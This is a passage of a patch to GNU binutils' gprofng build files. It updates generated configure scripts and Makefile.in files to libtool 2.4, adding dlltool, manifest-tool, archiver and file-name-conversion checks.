++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+@@ -19441,12 +20280,12 @@ with_gcc=$GCC_CXX
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_CXX
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl_CXX
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic_CXX
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl_CXX
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static_CXX
+
+@@ -19533,9 +20372,6 @@ inherit_rpath=$inherit_rpath_CXX
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs_CXX
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path_CXX
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols_CXX
+
+@@ -19551,6 +20387,9 @@ include_expsyms=$lt_include_expsyms_CXX
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds_CXX
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds_CXX
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec_CXX
+
+diff --git a/gprofng/doc/Makefile.in b/gprofng/doc/Makefile.in
+index 3306c51b31c..6ab3d9636c8 100644
+--- a/gprofng/doc/Makefile.in
++++ b/gprofng/doc/Makefile.in
+@@ -238,6 +238,7 @@ CXXFLAGS = @CXXFLAGS@
+ CYGPATH_W = @CYGPATH_W@
+ DEFS = @DEFS@
+ DEPDIR = @DEPDIR@
++DLLTOOL = @DLLTOOL@
+ DSYMUTIL = @DSYMUTIL@
+ DUMPBIN = @DUMPBIN@
+ ECHO_C = @ECHO_C@
+@@ -272,6 +273,7 @@ LN_S = @LN_S@
+ LTLIBOBJS = @LTLIBOBJS@
+ MAINT = @MAINT@
+ MAKEINFO = @MAKEINFO@
++MANIFEST_TOOL = @MANIFEST_TOOL@
+ MKDIR_P = @MKDIR_P@
+ NM = @NM@
+ NMEDIT = @NMEDIT@
+diff --git a/gprofng/gp-display-html/Makefile.in b/gprofng/gp-display-html/Makefile.in
+index 61c00cd6e46..edce3cb94c5 100644
+--- a/gprofng/gp-display-html/Makefile.in
++++ b/gprofng/gp-display-html/Makefile.in
+@@ -197,6 +197,7 @@ CXXFLAGS = @CXXFLAGS@
+ CYGPATH_W = @CYGPATH_W@
+ DEFS = @DEFS@
+ DEPDIR = @DEPDIR@
++DLLTOOL = @DLLTOOL@
+ DSYMUTIL = @DSYMUTIL@
+ DUMPBIN = @DUMPBIN@
+ ECHO_C = @ECHO_C@
+@@ -231,6 +232,7 @@ LN_S = @LN_S@
+ LTLIBOBJS = @LTLIBOBJS@
+ MAINT = @MAINT@
+ MAKEINFO = @MAKEINFO@
++MANIFEST_TOOL = @MANIFEST_TOOL@
+ MKDIR_P = @MKDIR_P@
+ NM = @NM@
+ NMEDIT = @NMEDIT@
+diff --git a/gprofng/libcollector/Makefile.in b/gprofng/libcollector/Makefile.in
+index ce8755c80c9..91e29c29ab8 100644
+--- a/gprofng/libcollector/Makefile.in
++++ b/gprofng/libcollector/Makefile.in
+@@ -316,6 +316,7 @@ CXXFLAGS = @CXXFLAGS@
+ CYGPATH_W = @CYGPATH_W@
+ DEFS = @DEFS@
+ DEPDIR = @DEPDIR@
++DLLTOOL = @DLLTOOL@
+ DSYMUTIL = @DSYMUTIL@
+ DUMPBIN = @DUMPBIN@
+ ECHO_C = @ECHO_C@
+@@ -341,6 +342,7 @@ LN_S = @LN_S@
+ LTLIBOBJS = @LTLIBOBJS@
+ MAINT = @MAINT@
+ MAKEINFO = @MAKEINFO@
++MANIFEST_TOOL = @MANIFEST_TOOL@
+ MKDIR_P = @MKDIR_P@
+ NM = @NM@
+ NMEDIT = @NMEDIT@
+diff --git a/gprofng/libcollector/configure b/gprofng/libcollector/configure
+index 8b0092433fe..a363ab1047c 100755
+--- a/gprofng/libcollector/configure
++++ b/gprofng/libcollector/configure
+@@ -640,6 +640,8 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -769,6 +771,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ '
+ ac_precious_vars='build_alias
+@@ -1424,6 +1427,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+
+ Some influential environment variables:
+ CC C compiler command
+@@ -5968,8 +5973,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -6009,7 +6014,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -6702,8 +6707,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -6752,6 +6757,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -6768,6 +6847,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -6936,7 +7020,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -7095,6 +7180,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -7110,6 +7210,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -7124,8 +7375,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -7141,7 +7394,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -7161,11 +7414,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -7181,7 +7438,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -7200,6 +7457,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -7211,25 +7472,19 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
+
+
+
+@@ -7241,6 +7496,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
++
++
++
++
++
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+ set dummy ${ac_tool_prefix}strip; ac_word=$2
+@@ -7580,8 +7893,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -7617,6 +7930,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -7658,6 +7972,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -7669,7 +7995,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
